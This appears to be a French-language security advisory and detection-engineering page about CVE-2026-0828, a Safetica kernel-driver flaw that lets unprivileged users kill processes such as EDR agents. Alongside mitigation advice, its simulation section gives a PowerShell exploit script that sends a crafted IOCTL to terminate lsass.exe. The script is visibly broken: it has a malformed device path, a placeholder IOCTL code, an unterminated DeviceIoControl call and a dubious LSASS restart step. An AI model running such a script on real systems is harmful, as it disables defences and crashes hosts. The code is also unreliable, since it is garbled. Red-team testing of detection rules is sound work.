Safetica contient une vulnérabilité du pilote du noyau

Résumé

Une faille dans le pilote noyau ProcessMonitorDriver.sys de Safetica permet à un utilisateur non privilégié d’exploiter une interface IOCTL pour terminer des processus système arbitraires. Cela peut permettre une attaque par déni de service et la perturbation des outils de sécurité sur les points de terminaison affectés. Le problème peut être exploité pour tuer les agents EDR et d’autres services critiques, réduisant rapidement la couverture défensive. Aucun correctif du fournisseur n’est actuellement disponible.

Enquête

Le rapport documente la vulnérabilité CVE-2026-0828 dans ProcessMonitorDriver.sys à travers les versions du client DLP de Safetica. Il montre que la validation d’entrée faible permet la terminaison de processus avec des privilèges de pilote élevés via des appels IOCTL conçus. L’impact sur la surveillance de la sécurité des points de terminaison est souligné.

Atténuation

Surveillez les appels IOCTL suspects vers le pilote, reposez-vous sur EDR ou la télémétrie de l’hôte, et restreignez l’accès au pilote en utilisant la stratégie de groupe Windows, WDAC ou AppLocker. Jusqu’à ce qu’une correction soit publiée, bloquez les binaires non fiables d’interagir avec ProcessMonitorDriver.sys.

Réponse

Détectez une activité IOCTL anormale ciblant ProcessMonitorDriver.sys, isolez les systèmes affectés et appliquez des contrôles de politique pour refuser l’accès au pilote. Augmentez la journalisation, signalez les interactions non privilégiées et envisagez de désactiver le pilote comme solution de contournement temporaire.

Exécution de simulation

Prérequis : la vérification pré-vol de télémétrie et de ligne de base doit être passée.

Raisonnement : Cette section détaille l’exécution précise de la technique adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTP identifiés et viser à générer la télémétrie exacte attendue par la logique de détection.

• Narratif & Commandes de l’attaque :
  L’opérateur de l’équipe rouge vise à abuser du pilote ProcessMonitorDriver.sys vulnérable pour terminer un processus à haut privilège arbitraire (lsass.exe). Ils y parviennent en créant une charge utile IOCTL malveillante qui ordonne au pilote de fermer la poignée du PID ciblé, détournant ainsi le flux d’exécution (T1574) et échappant aux mécanismes de défense typiques (T1211). Les étapes sont :

  1. Résoudre le PID de lsass.exe.
  2. Ouvrir une poignée au pilote vulnérable (.ProcessMonitorDriver).
  3. Construire un tampon IOCTL contenant le PID cible et un code de commande qui déclenche la terminaison du processus.
  4. Invoquer DeviceIoControl avec un code de contrôle malveillant (0xdeadbeef).
  5. Fermer la poignée du pilote.

• Script de test de régression :

  # Simulation d'exploitation pour ProcessMonitorDriver.sys (CVE‑2026‑0828)
  # -------------------------------------------------------------
  # Ce script envoie une IOCTL malveillante au pilote vulnérable pour
  # terminer le processus LSASS, générant l'EventID 10 Sysmon
  # que la règle de détection recherche.
  
  # 1. Localiser le PID de LSASS
  $targetProcess = Get-Process -Name lsass -ErrorAction Stop
  $targetPid = $targetProcess.Id
  Write-Host "PID cible (lsass) : $targetPid"
  
  # 2. Ouvrir une poignée vers le pilote
  $driverPath = ".ProcessMonitorDriver"
  $file = [System.IO.File]::Open($driverPath, 'Open', 'ReadWrite', 'None')
  $handle = $file.SafeFileHandle
  
  # 3. Construire le tampon IOCTL malveillant (PID + données fictives)
  $bufferSize = 8
  $buffer = New-Object byte[] $bufferSize
  [BitConverter]::GetBytes([uint32]$targetPid).CopyTo($buffer, 0)
  [BitConverter]::GetBytes([uint32]0xFFFFFFFF).CopyTo($buffer, 4)  # remplissage
  
  # 4. Définir le code IOCTL malveillant (exemple : 0xdeadbeef)
  $ioctlCode = 0xdeadbeef
  
  # 5. Invoquer DeviceIoControl via P/Invoke
  $signature = @"
  using System;
  using System.Runtime.InteropServices;
  public class NativeMethods {
      [DllImport("kernel32.dll", SetLastError = true)]
      public static extern bool DeviceIoControl(
          IntPtr hDevice,
          uint dwIoControlCode,
          byte[] lpInBuffer,
          int nInBufferSize,
          byte[] lpOutBuffer,
          int nOutBufferSize,
          out int lpBytesReturned,
          IntPtr lpOverlapped);
  }
  "@
  Add-Type $signature
  
  $bytesReturned = 0
  $outBuffer = New-Object byte[] 0
  $result = [NativeMethods]::DeviceIoControl(
                $handle,
                $ioctlCode,
                $buffer,
                $buffer.Length,
                $outBuffer,
                0,
                [ref]$bytesReturned,
  
  if ($result) {
      Write-Host "IOCTL envoyé avec succès – la terminaison de LSASS a peut-être eu lieu."
  } else {
      $err = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
      Write-Error "DeviceIoControl a échoué (Erreur $err)."
  }
  
  # 6. Nettoyage
  $file.Close()

• Commandes de nettoyage :

  # Supprimer toute poignée de pilote restante (au mieux)
  # Assurez-vous que LSASS est redémarré s'il a été arrêté (pour un labo sûr)
  if (Get-Process -Name lsass -ErrorAction SilentlyContinue) {
      Write-Host "LSASS toujours en cours d'exécution – aucun nettoyage nécessaire."
  } else {
      Write-Host "Redémarrage de LSASS (nécessite des privilèges administrateur)…"
      # Sur une machine de test, vous pouvez redémarrer ou utiliser un cmdlet de redémarrage de service
      # Restart-Service -Name "lsass" -Force
  }